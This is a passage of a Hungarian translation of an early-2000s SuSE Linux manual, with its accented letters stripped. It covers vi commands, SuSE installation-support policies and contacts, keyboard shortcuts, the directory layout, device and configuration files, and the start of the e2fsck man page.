Fordtotta: Vradi Istvn A vi a legkzkedveltebb szerkeszt a rendszer adminisztrtorok krben, o mert kicsi s gyors, mindenfle terminlon fut, mgis nagyon er s, hatkony o s rugalmas. Parancsai lehet v teszik mindenfle szerkesztsi feladat gyors o vgrehajtst anlkl, hogy elhagyn a f billenty zetet. Ezt az egy szero u keszt t megtalljuk minden UNIX disztribciban. A vi a Linuxban szinte o szabvny. Akik ms szerkeszt khz szoktak, azoknak egy kis id be telik megszokni a o o vi -t. Ez a fejezet lehet v teszi nnek, hogy az alapvet szerkesztsi feladao o tokat elvgezze a vi segtsgvel. Lsd a [Lam90]-et az Irodalomjegyzkben. Hrom zemmd ll rendelkezsre a vi -ban: Parancs zemmd. Minden lenyomott billenty parancsknt rtelmez u o dik. Szerkesztsi zemmd. A lenyomott billenty k szvegknt kerlnek be. u ex zemmd. Lehet v teszi a vi interaktivitst a shell-el, nagyon hato kony s fejlett mdon. Csak egy pr alapvet parancsot fogunk trgyalni. o A vi parancsmdban indul. tvlthat parancsmdrl szerkesztsi mdba, az egyik szerkesztsi md billenty lenyomsval, amint az a 19.12 tblzatban u lthat. Szerkesztsi mdbl visszavltani parancs mdra, az Esc lenyomsval lehet. A parancs zemmd alapvet parancsai: o

j k h l CTRL-f CTRL-b G nG w b 0 $ i a A

a kurzort egy sorral lentebb mozgatja a kurzort egy sorral fentebb mozgatja a kurzort egy oszloppal balra mozgatja a kurzort egy oszloppal jobbra mozgatja a kurzort egy kperny vel lentebb mozgatja o a kurzort egy kperny vel fentebb mozgatja o a kurzort a dokumentum vgre mozgatja a kurzort az n-edik sorba mozgatja a kurzort egy szval el bbre mozgatja o a kurzort egy szval htrbb mozgatja a kurzort a sor elejre mozgatja a kurzort a sor vgre mozgatja szerkesztsi zemmdba vlt (a karaktereket beszrja a kurzor jelenlegi helye el) szerkesztsi zemmdba vlt (a karaktereket hozzf zi a a kurzor jelenlegi helye utn) u szerkesztsi zemmdba vlt (a karaktereket a sor vge utn f zi) u

19.12 tblzat: folytats a kvetkez oldalon...... o 516

19.15. A vi szerkeszt (editor) o

R r C o O x dd dw cw yy p P u J . :

szerkesztsi zemmdba vlt (helyettesti s fellrja az eredeti szveget) szerkesztsi zemmdba vlt (fellrja azt az egy karaktert, ami jelenleg a kurzor alatt van) szerkesztsi zemmdba vlt (a sor htralv rszt o az j szveggel helyettesti be) szerkesztsi zemmdba vlt (az aktulis sor utn egy j sort szr be a szveg beillesztsre) szerkesztsi zemmdba vlt (az aktulis sor el egy j sort szr be a szveg beillesztsre) kitrli az aktulis karaktert (s a pufferbe helyezi) kitrli az aktulis sort (s a pufferbe helyezi) kitrli az aktulis szt (s a pufferbe helyezi) szerkesztsi zemmdba vlt (az aktulis sz htralv rszt fellrja a megadott szveg) o az aktulis sort bemsolja a pufferbe szveget illeszt be a pufferb l a kurzor utn o szveget illeszt be a pufferb l a kurzor el o hatstalantja az utols parancsot hozzf zi a kvetkez sort az aktulis sorhoz u o megismtli az utols parancsot tvlt ex zemmdba

19.12 tblzat: A vi alapvet parancsai o

Minden parancsot megel zhet egy szm. Ez a szm megadja, hogy az adott o parancs hnyszor kerljn vgrehajtsra. Emiatt, a 3dw kitrl hrom szt egyszerre, s a 10x kitrl 10 karaktert. 20dd kitrl 20 sort. A legfontosabb parancsok ex zemmdban:

:q! :w [fjl] :x :e [fjl]

kilps a vi -b l a vltozsok elmentse nlo kl a vltozsok elmentse a [fjl]-ba elmenti a megvltozott fjlt s kilp szerkeszti a [fjl] nev fjlt u

19.13 tblzat: Alapvet vi parancsok ex zemmdban o

517

19. Els lpsek a Linux-ban o

518

A. fggelk

A SuSE GmbH tmogatsa s szolgltatsai


Fordtotta: Ksa Lajos Az utbbi pr v folyamn rjttnk, hogy a linux teleptse sorn mg mindig trtnnek hibk, mg ha azok szma folyamatosan cskken is, brmilyen fejl dsen is ment a linux keresztl. o Ezen hibk kzl sokra knl megoldst ez a knyv, hogy nnek, kedves olvas, ne kelljen a htvgjt ktsgbeesetten azzal tltenie, hogy a telefonos forrvonal htf dlutni hvst vrja, mgnem vgre segtsgnkkel folytato hatja a rendszer teleptst. Ha problmt tall, gy z djn meg rla, hogy a problmt nem emltette-e o o mr valaki vagy ebben a knyvben vagy a teleptsi-adatbzisunkban1 , miel tt a tmogatsi csoporthoz fordul. Ezenkvl rengeteg krdsre megtallo hat vlasz az 1. CD-n, a README fjlokban.

A.1

A 60 napos teleptsi tmogats

A.1.1 Regisztrci nlkl nem jr teleptsi tmogats! Annak rdekben, hogy a lehet legjobb teleptsi tmogatst (I-Support) o nyjthassuk, csak a SuSE Linux regisztrlt felhasznlinak krdseire vlaszolunk. E kziknyv els oldaln tallhat egy regisztrcis krtya, amelyen szerepel o a regisztrcis kd. Ez a kd egyedi, s arra szolgl, hogy igazolja, hogy eredeti SuSE Linux-szal "van dolga". Ha elkldi a regisztrcis krtyt, vagy a WWW-kiszolglnkon keresztl Regisztrcis regisztrlja magt a http://www.suse.com/Customer/index.html cmen, krtya n regisztrlt SuSE Linuxfelhasznl lesz, amely - tbbek kztt - feljogo- Online stja a vev tmogats ignybevtelre. o Mivel ez a kd a termken alapul, arra krjk, hogy minden SuSE Linux termket regisztrljon, amit megvsrol, mg akkor is, ha frisstsr l van o sz, vagy ha a SuSE Linux-szot kzvetlenl t lnk vsrolta. A termk o megvsrlsa nem jelenti automatikusan a regisztrcit!
1

a rszletekr l lsd az A.6 . fejezetben (526. oldal). o

519

A. A SuSE GmbH Tmogatsa s Szolgltatsai A.1.2 A teleptsi tmogats kiterjesztse

A teleptsi tmogatst gy kell tekinteni, mint segtsg annak rdekben, hogy az alapvet SuSE Linux rendszert telepteni tudjuk, s m kdjn. Ez a o u kvetkez kb l ll: o o A SuSE Linux teleptse CD-r l o Egyni munkalloms alapvet belltsai o Az X11 grakus felhasznli fellet (GUI) alapvet belltsai o Szabvnyos analg modem alapvet belltsai, hogy be tudjunk trcszni o az internetre (csak kliensoldali) Szabvnyos ISDN-krtya alapvet belltsai, hogy be tudjunk trcszni o az internetre (csak kliensoldalon) Helyi nyomtat belltsa egyni munkallomshoz Tmogatott hangkrtya alapvet belltsai o Az itt nem emltett tmakrkre vonatkozan nincs teleptsi tmogats. Az ilyen krdsekre nem vlaszolunk. A rendszer belltsait mivel ez a teleptsi tmogatst rinti a YaST segtsgvel kell elvgezni, illetve egyb, a kziknyv ltal ajnlott mdon. A teleptsi tmogats clja, hogy az alaprendszer fellltst segtse, nem pedig linux-oktats vagy bevezets a linuxba. Ennek kvetkeztben csak kongurcis problmk megoldsra vehet ignybe, nem ltalnos krdsek o megvlaszolsra. Ennek ellenre sokszor tallkozunk azzal a helyzettel, hogy - pldul - a SuSE Linux egyltaln nem akar elindulni, vagy csak korltozottan fut egy bizonyos hardverkongurcin. Remljk, hogy rthet , hogy nem tudjuk a o teleptsi tmogatsunk 100%-os sikert garantlni. Az alapvet linux kernelrendszeren tlmen en tbb mint 1000 (jelenleg minto o egy 1300) szoftvercsomagot knlunk a SuSE Linux CD-n. Megprbljuk ezeket a csomagot a lehet legjabb llapotnak megfelel szinten tartani, de o o nem ismerhetjk sem mindegy egyes csomag dokumentcijt, sem pedig a kiegszt lehet sgeit. Krjk, fogadja el, ha a vlaszunkban az emltett o o informcikra (kziknyvoldalak, README fjlok s online segtsgnyjts) hivatkozunk.

A.2

A leggyorsabb t a segtsghez!

Ez a fejezet clja szerint azt szolglja, hogy teleptsi segtsget nyjt csapatunktl a lehet leggyorsabb vlaszt kaphassa. Csak azokat az e-maileket, o amelyek megfelelnek az el rtnak, tudjuk feldolgozni automatikusan a o tmogatsmenedzsment-rendszernkben a lehet leggyorsabban. Minden o egyb krdst el szr kzzel kell besorolnunk, majd az egyes segtsgnyjo tknak kiadnunk, miel tt fel tudjuk dolgozni. o Krjk, regisztrlja a SuSE Linux rendszert online weblapjainkon a kvetkez cmen: http://www.suse.de/e/register.html o 520

A.2. A leggyorsabb t a segtsghez! rjon e-mail-t az A.2.1 fjllista szerint, kzvetlenl a support@suse.com cmre. Amikor megadja a felhasznli adatokat, tegyen klnbsget kiss nagybet k kztt. Csak ebben az esetben tudjuk automatikusan feldolu gozni az e-mail-t. Krjk, hogy azokat a mez ket - pldul COMPANY: o hagyja resen, amelyek nem vonatkoznak nre. Ne csatoljon szksgtelen adatokat (mint pldul business card XVCARD formtumban); ha kongurcis fjlt szeretne csatolni, akkor ezt kzvetlenl a levlbe rja, ASCII formtumban. (lsd az A.2.2 fjllista tartalmt.)

FIRST NAME: Honeydew SURNAME: Dr. Bunsenburner COMPANY: Muppetshow (Laboratory) ADDRESS: Sesamstr. 4711 CITY: Timbuktu COUNTRY: Germany REGCODE: XXXXXX EMAIL: bunsen@nowhere.de Dear SuSE Support Team, I have a small problem here in my Muppet Laboratory. After installation of the SuSE Linux 7.1 the error message appears after booting the kernel: "Unable to open an initial console" I have a Pentium 400 with 128 MB RAM and an 8 GB IDE hard drive. What am I doing wrong? Yours Sincerely, Dr. Honeydew Bunsenburner <bunsen@nowhere.de> KERESZTNV: Istvn CSALDI NV: Dr. Beseny VLLALAT: Nooooormlis?? Kft. CM: Margit u. 47. VROS: Boborjn-als ORSZG: Magyarorszg REGISZTRCIS KD: XXXXXX EMAIL: besenyopista@boborjan-also.hu Tisztelt Cm! Van egy kis problmm itt a Nooooormlis?? Kft.-nl. A 7.1 teleptse utn a kvetkez hibazenet jelenik o meg a kernel bootolsa utn: "Unable to open an initial console" A gpem Pentium 400 128 MB RAM-mal s egy 8 GB-os IDE winchesterrel. Mit csinlok rosszul? Dr. Beseny Istvn <besenyopista@boborjan-also.hu>

A.2.1 fjllista: Plda e-mail-ben feltett krdsre

521

A. A SuSE GmbH Tmogatsa s Szolgltatsai

... gondom van a Lilval. A /etc/lilo.conf vonatkoz rsze a kvetkez: ---cut--# Linux bootable partition config begins image = /boot/vmlinuz root = /dev/sda2 label = linux-2.0.36 # Linux bootable partition config ends ---cut---

A.2.2 fjllista: E-mailben feltett krdsre plda kiegsztve kongurcis llomnnyal A teleptsi tmogats tartama A teleptsi tmogats maximlis hossza 60 nap a vsrlstl szmtva, de nem tbb, mint 60 nap a kvetkez vltozat megjelense utn. o A.2.1 Hogyan tudom elrni a SuSE segtsgt? A tmogatst nyjt csapatunkat e-mailen, faxon, levlben vagy telefonon lehet elrni; ha krdssel fordul hozznk, krjk, gy z djn meg arrl, hogy o o a vlasztott kommunikcis csatorna helyesen m kdik. u Gyakran tallkozunk olyan esettel, amikor a krdst csak nagy nehzsgek rn tudjuk megvlaszolni, mert pldul az gyfl faxgpe nem m kdik u folyamatosan (faxszoftver), vagy a megadott e-mail hibs vagy nem elrhet . o Ha e-mail-t kld, krjk, ne csatoljon hozz semmit; ha azt akarja, hogy pldul logflj is szerepeljen a levlben, ezeket kzvetlenl a szvegbe rja. Klnsen gyeljen arra, hogy ne kldjn olyan leveleket, amelyek a levelez rendszernek meghatrozott formtuma szerint "kszlnek", mert o a legtbb esetben az ilyen zenetek kikdolshoz nincs meg a megfelel o szoftvernk. Nincs arra sem szksg, hogy html-szvegeket kldjn neknk, ez a "funkci" a levelez programban... knnyedn kikapcsolhat. o A segtsget nyjt csapatunkat a kvetkez mdokon rheti el a megadott o id pontokban: o e-mail cm: cm: elrhet sg: o Fax Fax (DE): Fax (USA): elrhet sg: o 522 isupport@suse.de isupport@suse.com minden nap (09 11) 74 05 34 77 +1-510-628-3381 minden nap

A.2. A leggyorsabb t a segtsghez! Postai t cm:

SuSE GmbH Support Schanzckerstr. 10 D-90443 Nrnberg minden nap

elrhet sg: o

523

A. A SuSE GmbH Tmogatsa s Szolgltatsai Telefon (Tmogatsi forrvonal) telefon: (DE) +49-421-526-2300 telefon: (UK) +0845-025-0010 telefon: (USA) +1-510-628-3385 A tmogatsi forrvonal gyflszolglati id pontjai: o Htf t l cstrtkig oo 13:00-tl 18:00-ig - Eurpa (CET) 12:00-t l 17:00-ig - UK (DST) o 9:00-t l 15:00-ig - USA (PST) o Kivve a zetett nnepeket.

Krjk, legyen a regisztrcis kdja nnl, s bizonyosodjon meg rla, hogy mr regisztrltatta magt. Csak regisztrlt SuSE Linux-felhasznlk jogosultak a teleptsi tmogatsra. Krjk, gyeljen arra, hogy az tlagos telefonos segtsgkrs ne tartson tovbb t percnl. ltalban elmondhatjuk, hogy a hvsok szma a tmogat szolgltats nyitsa utn kzvetlenl nagyobb, mint ks bb a nap folyamn. Ha a nap o elejn nem sikerl rgtn elrni valakit az gyflszolglati munkatrsak kzl, prblkozzon jra ks bb. o Nagy hangslyt fektetnk a teleptsi tmogatsra, de krjk, ne feledje, hogy vllalati rendszerek adminisztrcijt egy SuSE Linux-disztribci rrt nem tudjuk vllalni, ezrt krjk, hogy a kvetkez oldalakat keressk fel o ezzel kapcsolatban: http://www.suse.de/en/support/

A.3

A SuSE Pro szolgltatsai

Mg ha egy opercis rendszer az sszes szksges alkotelemet tartalmazza is, csak akkor lehet egy vllalati krnyezetben hasznlhat alternatva, ha megfelel en kpzett s szakmailag magas szint tmogatssal kapcsoldik o u ssze. A SuSE ezt a szolgltatst is nyjtja a linux szmra. Ezzel kapcsolatosan minden informcit megtall a SuSE Linux kzponti tmogat portljn: http://support.suse.de A.3.1 Egyedi projektek s tancsads

Szeretn vllalatnl a SuSE Linuxot hasznlni? Megfelel tancsadssal o llunk rendelkezsre, valamint olyan vlaszokkal, hogy n krnyezetnek szmtstechnikjban a linux teljestmnyt optimlisan bellthassa. Nagy tapasztalattal rendelkeznk linux-kiszolglk fellltsban, mert mr a linux kezdetei ta foglalkozunk vele. Ez az, ahol tancsadink tapasztalata bejn a kpbe; szakrt ink tudst sikeresen hasznlhatja fel projektjei sorn. Er so o sgnk a sokoldalsg: adatbzisok, biztonsgi krdsek, internetkapcsolat 524

A.4. Oktats s vllalati szint hlzatok; a linux a megfelel szoftverrel hatkony platu o form az n alkalmazsai szmra. Ajnlatunk tfogja a kiszolglrendszer koncepcijt, sszelltst s kongurlst. Ha pldul szeretn internetes jelenltt SuSE Linux-alapra helyezni, s emiatt webkiszolgl-, e-mail- s biztonsgos kiszolgl megoldsokat keres, tancsadink segtenek a koncepci elksztsben, valamint a megfelel megolds bevezetsben. Ha olyan o komplex, heterogn hlzata van, ahov szeretn a linuxot integrlni, szintn tancsadssal s tmogatssal llunk rendelkezsre a megtervezsnl s a teljes kiszolgl megoldsok kivitelezsben. Esetleg olyan specilis ignye van, amelyeket a szoksos szoftverek nem elgtenek ki? A helyszni tmogatst a SuSE Linux Solutions AG cgnk nyjtja: SuSE Linux Solutions AG Mergenthalerallee 45-47 D-65760 Eschborn Tel: + 49 / 6196 / 50 95 10 Fax: + 49 / 6196 / 40 96 07 E-mail: solutions@suse.de Regionlis Szolgltatsi Kzpontjaink a kvetkez vrosokban llnak reno delkezsre: Hamburg, Berlin, Bonn, Stuttgart, Frankfurt, Mnchen s Nrnberg, tovbb a Tmogatsi s Fejlesztsi Kzpont Nrnbergben. Kivitelezs s teleptsi szolgltats Infrastrukturlis tancsads Intranet-kiszolgls megoldsok Internet-kiszolgls megoldsok gyflspecikus kvetelmnyek fejlesztse Teljes megoldsok E-kereskedelem

A.4

Oktats
Oktats

Oktatsi specialistink a rendszergazdkat s a programozkat gy kpzik ki, hogy a linux szles kr lehet sgeit a lehet leggyorsabban hasznlni u o o tudjk, s ennek kvetkeztben hatkonyan tudjanak vele dolgozni. Kpzsi kurzusainkrl a kvetkez cmen tall informcikat: o http://www.suse.de/en/support/training/

A.5

Visszajelzsek

Mindig szvesen vesszk tleteiket, javaslataikat s problma-lersaikat. Segteni fogunk, ha a problma lnyeges, vagy ha ismerjk a problmt. A visszajelzsek hasznos informcikkal szolglhatnak abban, hogy a kvetkez verziban az adott problma ne jelenjen meg, s ezzel a tbbi SuSE o Linux-hasznlt www-kiszolglnkon vagy Tmogatsi Adatbzisunkon keresztl segthessnk. Folyamatos clunknak tekintjk, hogy SuSE Linuxtermkeinket a vev ink tletei s elvrsai alapjn lltsuk ssze. Emiatt a CD o 525

A. A SuSE GmbH Tmogatsa s Szolgltatsai vagy ezen knyv mindennem kritikjt szvesen vesszk. Hisszk, hogy a u komolyabb hibk kijavtsnak s a min sg legmagasabb szinten tartsnak o ez a legjobb mdja. Kldje visszajelzseit a feedback@suse.de cmre e-mailben, vagy kldjn neknk faxot, levelet.

A.6

Tovbbi szolgltatsok

Szeretnnk felhvni a gyelmt azon szolgltatsainkra is, amelyek napi 24 rban ingyenesen elrhet k: o SuSE WWW Server http://www.suse.com SuSE levelezsi listk (informcik, tapasztalatcsere e-mail-ben): suse-announce-e@suse.com hrek a SuSE Linux-rl (angolul) suse-announce@suse.com hrek a SuSE Linux-rl (nmetl) suse-linux-e@suse.com mindent a SuSE Linux-rl (angolul) suse-linux@suse.com mindent a SuSE Linux-rl (nmetl) suse-axp@suse.com SuSE Linux Alpha processzoron (angolul) suse-isdn@suse.com az ISDN s a SuSE Linux (f knt nmetl) o suse-applix@suse.com az Applixware irodai csomag (f knt nmetl) o suse-adabas@suse.com az Adabas D -r l (f knt nmetl) o o suse-informix@suse.com az Informix -rl (f knt nmetl)) o suse-oracle@suse.com informcik s tapasztalatcsere az Oracle-rl a SuSE Linux alatt (angolul) Ha fel szeretne iratkozni brmelyik listra, rjon e-mailt a majordomo@suse.com cmre, a levl szvege pedig legyen:
subscribe <listanv>

A trgy nem szmt. Legyen pldul:


subscribe suse-announce-e

Ezzel minden hrt megkap. A listrl trtn leiratkozshoz kldjn egy o e-mail-t a majordomo@suse.com cmre, a levl szvege legyen:
unsubscribe suse-announce-e

gyeljen r, hogy a unsubscribe levelet ugyanarrl a cmr l kldje, o amelyikr l feliratkozott. o A SuSE FTP-oldala ftp://ftp.suse.com A legjabb informcikat, frisstseket s hibajavtsokat tallja meg a fenti cmen. Jelentkezzen be ftp felhasznlknt.

526

B. fggelk

Fontosabb billentyuk
Fordtotta: Levrdy Zoltn Hasznos s fontos billenty k rvid ttekintse. u Enter Alt + F1 - F6 Ctrl + Alt F6 + F1 - Alt + F7 Ctrl + Alt + Shift + Page Shift

+ Page

Shift + Cursor Ctrl + (szrke) Ctrl D +

+ Alt

+ Alt

Parancssorban vgrehajt egy parancsot; klnben: soremels. tvlt egy msik konzolra (szveges zemmdban). X11 s Dosemu alatt: tvlt az egyik szveges konzolra. Szveges konzolrl visszavlt az X11-re. Kilp az X11-b l. o Visszalapoz egy kperny t konzolon. Addig o m kdik amg nem vlt konzolt. u A Shift + Page ellentte. Megmutatja az el z parancsot a parancssoro o ban. A ellentte a burokban (shell). X11: tvlt a kvetkez virtulis munkaaszo talra (a kurzor irnyban). A virtulis munkaasztalok szmt bellthatja a .fvwm[2] rc fjlban a DeskTopSize paramterrel. Megvltoztatja a kperny felbontst az o XF86Cong fjl bejegyzsei alapjn. Kijelentkezik. Megfelel a kilpsnek. EOF (fjl vge). Befolysolja a /etc/profile bejegyzse: ignoreeof=x. Az x azt mutatja, hogy hnyszor ismtelheti a parancsot amg vgrehajtja. B.1 tblzat:

527

B. Fontosabb billentyuk

528

C. fggelk

A knyvtrszerkezet
Fordtotta: Levrdy Zoltn

C.1

ttekints

A kvetkez brn a Linux knyvtrfa egy kis rszlete tallhat: o

bin

boot

dev etc home lib sbin

root

opt proc sbin tmp usr var

vmlinuz hda sda st0 yxz linux tux ld.so X11R6 bin doc etc lib local sbin

bin

Mail

test.c bin lib man

f2c faq howto bin lib ftp man

xdm

xterm

xv

bin lib

pub

529

C. A knyvtrszerkezet

C.2

Fontosabb knyvtrak

A Linux rendszer knyvtrfja jl szervezett. Nhny fontosabb knyvtr:

/ /home /dev /etc /usr/bin /bin /usr/sbin /sbin /sbin/init.d /usr/include /usr/include/g++ /usr/doc /usr/man /usr/src /usr/src/linux /tmp /var/tmp /usr /var /lib /proc /usr/local /opt

"root" gykrknyvtr, a knyvtrfa kiindulsi pontja a felhasznlk magnknyvtrai eszkzfjlok, melyek a hardvert kpviselik fontos rendszerbellt fjlok ltalnosan elrhet parancsok o a rendszer indtshoz szksges parancsok a rendszergazda szmra fenntartott parancsok fenntartott parancsok a rendszer indtshoz s a rendszergazda szmra rendszerindt szkriptek a C fordt header fjljai A C++ fordt header fjljai dokumentcik kziknyvlapok szoftverek forrskdjai a kernel forrsa ideiglenes fjlok nagymret ideiglenes fjlok u felhasznli parancsok s alkalmazsok, kongurcis fjlok csatolva csak olvassra kongurcis fjlok (linkelve a /usr-b l). o osztott knyvtrak, dinamikusan linkelt programoknak a folyamatok fjlrendszere helyi b vtsek, melyek a terjesztst l is fgo o genek opcionlis szoftverek, nagy rendszerek rszre (pl. KDE)

C.1 tblzat: fontosabb knyvtrak ttekintse

530

D. fggelk

Fontosabb fjlok
Fordtotta: Levrdy Zoltn A legfontosabb fjl maga a kernel. Ez a gykrknyvtrban a /vmlinuz fjl.

D.1

Specilis eszkzfjlok a /dev knyvtrban

Lemezek s merevlemezek1 : els hajlkonylemez meghajt o msodik hajlkonylemez meghajt els AT buszos merevlemez meghajt o az els AT buszos merevlemez partcii o els SCSI merevlemez meghajt o az els SCSI merevlemez partcii o msodik SCSI merevlemez meghajt harmadik SCSI merevlemez meghajt

/dev/fd0 /dev/fd1 /dev/hda /dev/hda1 - /dev/hda15 /dev/sda /dev/sda1 - /dev/sda15 /dev/sdb /dev/sdc

D.1 tblzat: a httrtrol eszkzfjlok ttekintse

D.1.1

CD-ROM meghajtk

/dev/cdrom /dev/aztcd /dev/cdu535 /dev/cm206cd

a hasznlt CD-ROM-ra mutat lnc, pl. az albbi fjlok egyike. A YaST lltja be. Aztech CDA268-01 CD-ROM Sony CDU-535 CD-ROM Philips CM206

D.2 tblzat: folytats a kvetkez oldalon...... o


A listn szerepl eszkzfjlok mellett, kszthet tovbbiakat is. Tovbbi informcik az mknod o parancs kziknyv lapjain.
1

531

D. Fontosabb fjlok

/dev/gscd0 /dev/hda /dev/hdd /dev/lmscd /dev/mcd /dev/sbpcd0 /dev/sbpcd3 /dev/scd0

Goldstar R420 CD-ROM ATAPI IDE CD-ROM-okhoz Philips CM 205/250/206/260 CD-ROM Mitsumi CD-ROM CD-ROM SoundBlaster krtyn

SCSI CD-ROM meghajtk /dev/scd1 /dev/sonycd /dev/sjcd /dev/optcd Sony CDU 31a CD-ROM Sanyo CD-ROM Optics Storage CD-ROM

D.2 tblzat: a CD-ROM meghajt eszkzfjlok ttekintse

D.1.2

Szalagos meghajtk

/dev/rmt0 /dev/nrmt0 /dev/ftape /dev/nftape

els SCSI szalagosmeghajt visszateker s o o (automatikusan visszacsvl) els SCSI szalagosmeghajt nem-visszateker s o o Floppy szalagosmeghajt visszateker s o Floppy szalagosmeghajt nem-visszateker s o

D.3 tblzat: a szalagos meghajt eszkzfjlok ttekintse

D.1.3

Egerek (busz s PS/2)

/dev/mouse

/dev/atibm /dev/logibm /dev/inportbm

Lnc az egr ltal hasznlt interfszre egy ltszlagos fjl a busz egerekre, soros interfsz a tbbihez. A YaST lltja be. ATI grakus krtya busz egr. Logitech busz egr. PS/2 busz egr

D.4 tblzat: egr eszkzfjlok ttekintse

532

D.1. Specilis eszkzfjlok a /dev knyvtrban D.1.4 Modemek

/dev/modem

Lnc arra a COM portra, amelyhez a modem csatlakozik. A YaST lltja be.

D.5 tblzat: a modem eszkzfjlok ttekintse

D.1.5

Soros interfszek

/dev/ttyS0 Soros interfszek 0-tl 3-ig. /dev/ttyS3 /dev/cua0 Soros interfszek 0-tl 3-ig a (kimen modem kapcsolatokhoz). o /dev/cua3

D.6 tblzat: a soros interfsz eszkzfjlok ttekintse

D.1.6

Prhuzamos kapuk (portok)

/dev/lp0 prhuzamos portok (LPT1-t l LPT3-ig) o /dev/lp2

D.7 tblzat: a prhuzamos port eszkzfjlok ttekintse

533

D. Fontosabb fjlok D.1.7 Specilis eszkzk

/dev/null /dev/tty1 /dev/tty8 /dev/zero

"elnyel" minden adatot (adat kuka) Virtulis konzolok tty1-t l tty8-ig o Ha olvassuk, tetsz leges szm nulla bjtot ad o

D.8 tblzat: A specilis (virtulis) eszkzfjlok ttekintse

534

D.3. Rejtett kongurcis fjlok a magn knyvtrban

D.2

Bellt fjlok a /etc knyvtrban

/etc/rc.config

/etc/inittab /etc/lilo.conf /etc/modules.conf /etc/DIR_COLORS /etc/XF86Config /etc/fstab /etc/profile /etc/passwd

/etc/shadow /etc/group /etc/printcap /etc/hosts /etc/inetd.conf /etc/syslogd.conf

Kzponti rendszerbellt fjl. A YaST kszti s az indt szkriptek, valamint a SuSEcong olvassa. Az inicializl processz bellt fjlja. A LILO belltsa. Kernel modulok belltsa. Az ls program sznhozzrendelse. Az X Window rendszer belltsa. Az indtskor automatikusan csatolt fjlrendszerek tblja. Alaprtelmezett burok (shell) bejelentkezsi szkript. Felhasznl adatbzis: felhasznl neve, magn knyvtra, bejelentkezsi burok (shell), felhasznl szma. rnykjelszavak. Felhasznlcsoportok. Teleptett nyomtatk lersa. Az lpd nyomtat dmon hasznlja. Lsd a 351. oldalon. Kiszolglnv IP cmhez rendelse. Elengedhetetlen ha nincs nvkiszolgl teleptve. Belltott IP szolgltatsok dencija (telnet, nger, ftp s sok ms). A syslog dmon bellt fjlja meghatrozott rendszer zeneteket rgzt.

D.9 tblzat: Bellt llomnyok a /etc-ben

D.3

Rejtett kongurcis fjlok a magn knyvtrban

A felhasznlk magnknyvtraiban tbb bellt fjl tallhat, amelyek praktikus okokbl "rejtettek", s ritkn mdosulnak. Egy fjl attl rejtett, hogy ponttal kezd dik a neve. Ezeket a fjlokat, az ls -a paranccsal tekinto hetjk meg. Nhny plda a D.10 tblzatban lthat. Ezeket a fjlokat a rendszer a /etc/skel/ knyvtrbl msolja t, amikor egy j felhasznlt ksztnk. A felhasznl sajt bejelentkez szkriptje o (a bash -hoz).

.profile

D.10 tblzat: folytats a kvetkez oldalon...... o 535

D. Fontosabb fjlok

.bashrc .exrc .xinitrc .fvwmrc .ctwmrc .openwin-menu

a bash belltsa. a vi belltsa. X Window System indt szkript. Az fvwm ablakkezel belltsa. o A ctwm ablakkezel belltsa. o Az olvwm s az olwm ablakkezel k belltsa. o

D.10 tblzat: rejtett fjlok a felhasznl magn knyvtrban

536

E. fggelk

Az e2fsck kziknyvlapja
Fordtotta: Zelena Endre

E2FSCK(8)

E2FSCK(8)

NV e2fsck - Linux ext2 fjlrendszer ellenrzse TTEKINTS e2fsck [ -pacnyrdfvstFSV ] [ -b szuperblokk blokkmret ] [ -l|-L hibs_blokkok_listja ] fjller ] eszkzfjl LERS Az e2fsck program a Linux ext2 fjlrendszernek ellenrzsre szolgl. Az eszkzfjl olyan specilis fjl, amely megfelel egy fizikai eszkznek (pl. /dev/hdc1). OPCIK -a Ez az opci a visszafel val kompatibilitst szolglja, jelentse megegyezik a -p opcival. Emiatt -- ahol csak lehet -- a -p opci hasznlata javasolt. -b szuperblokk Ezzel az opcival a norml szuperblokk helyett a megadott msolatt hasznlja a program. Erre az opcira akkor van szksg, ha az elsdleges szuperblokk megsrl; a legtbb fjlrendszer tartal mazza a msolatt a 8193, 16385, stb. blokkokban. Ha alternatv szuperblokk megadsra kerl, s a fjlrendszer nem csak olvashat mdon lett megnyitva, az e2fsck az elsdleges szuperblokkot is kijavtja a fjlrendszer ellenrzse sorn. -B blokkmret Alaprtelmezs szerint az e2fsck tbb, klnbz blokkmrettel vizsglja a szuperblokkot, hogy megllaptsa a pontos blokkmretet. Ez a vizsglat bizonyos esetekben problmt okozhat. Ezzel az opcival knyszerthet az e2fsck arra, hogy a megadott blokkmretet hasznlja. Ha nem tall Szuperblokkot, hibval kilp. ] [ [ -B -C

537

E. Az e2fsck kziknyvlapja
-c Az opci kvetkeztben az e2fsck futtatja blocks(8) programot, amely megkeresi azokat blokkokat, amelyek az adott fjlrendszerhez nak, s bejelli azokat hibsnak a hibs inode-jhoz kapcsolssal. a bada hibs tartozblokkok

-C

Ezzel az opcival az e2fsck a megadott fjllerba rja, hogy az ellenrzs hol tart, ezzel megoldhat az e2fsck futsnak programbl val monitorozsa. Ez az opci kifejezetten az e2fsck ms programbl val futtatsakor hasznlatos. Ha a megadott fjller 0, az e2fsck sttuszt egy svval brzolja. Ehhez videokonzolon, vagy terminlon kell a programnak futnia. Hibakeressi informcik nyomtatsa. (Csak e2fsck program hibakeresshez hasznlatos.) az

-d

-f

Akkor is vgrehajtja az ellenrzst, ha a fjlrendszer "tisztnak" tnik. Az eszkzhz tartoz buffer cache-t kirti az ellenrzs eltt. Csak akkor hasznlatos, ha az e2fsck program futsi idejt szeretnnk vizsglni.

-F

-l fjlnv A fjlnv fjlban felsorolt blokkokat hozzadja a hibs blokkok listjhoz. Ennek a fjlnak a formtuma azonos a badblocks(8) program ltal generlttal. -L fjlnv A hibs blokkok listjnak belltsa a fjlnv fjlban megadottakra. (Ez az opci hasonl, mint a -l, azzal az eltrssel, hogy itt a hibs blokkok aktulis listjt trli, majd a megadottakra lltja be a program.) -n A fjlrendszert csak olvashat mdon nyitja meg, s valamennyi krdsre nem-et vlaszol. Az e2fsck nem interaktv futtatsra szolgl. (Megjegyzs: Amennyiben a -c, -l, vagy a -L opcit megadjuk a -n mellett, a fjlrendszert rsra-olvassra nyitja meg, a hibs blokkok listjnak aktualizlshoz. Ezen kvl ms mdosts nem trtnik az fjlrendszerben.) Automatikus helyrellts mindennem krds nlkl. Ez az opci csak kompatibilitsi semmilyen hatsa nincs. okbl szerepel,

-p -r

-s

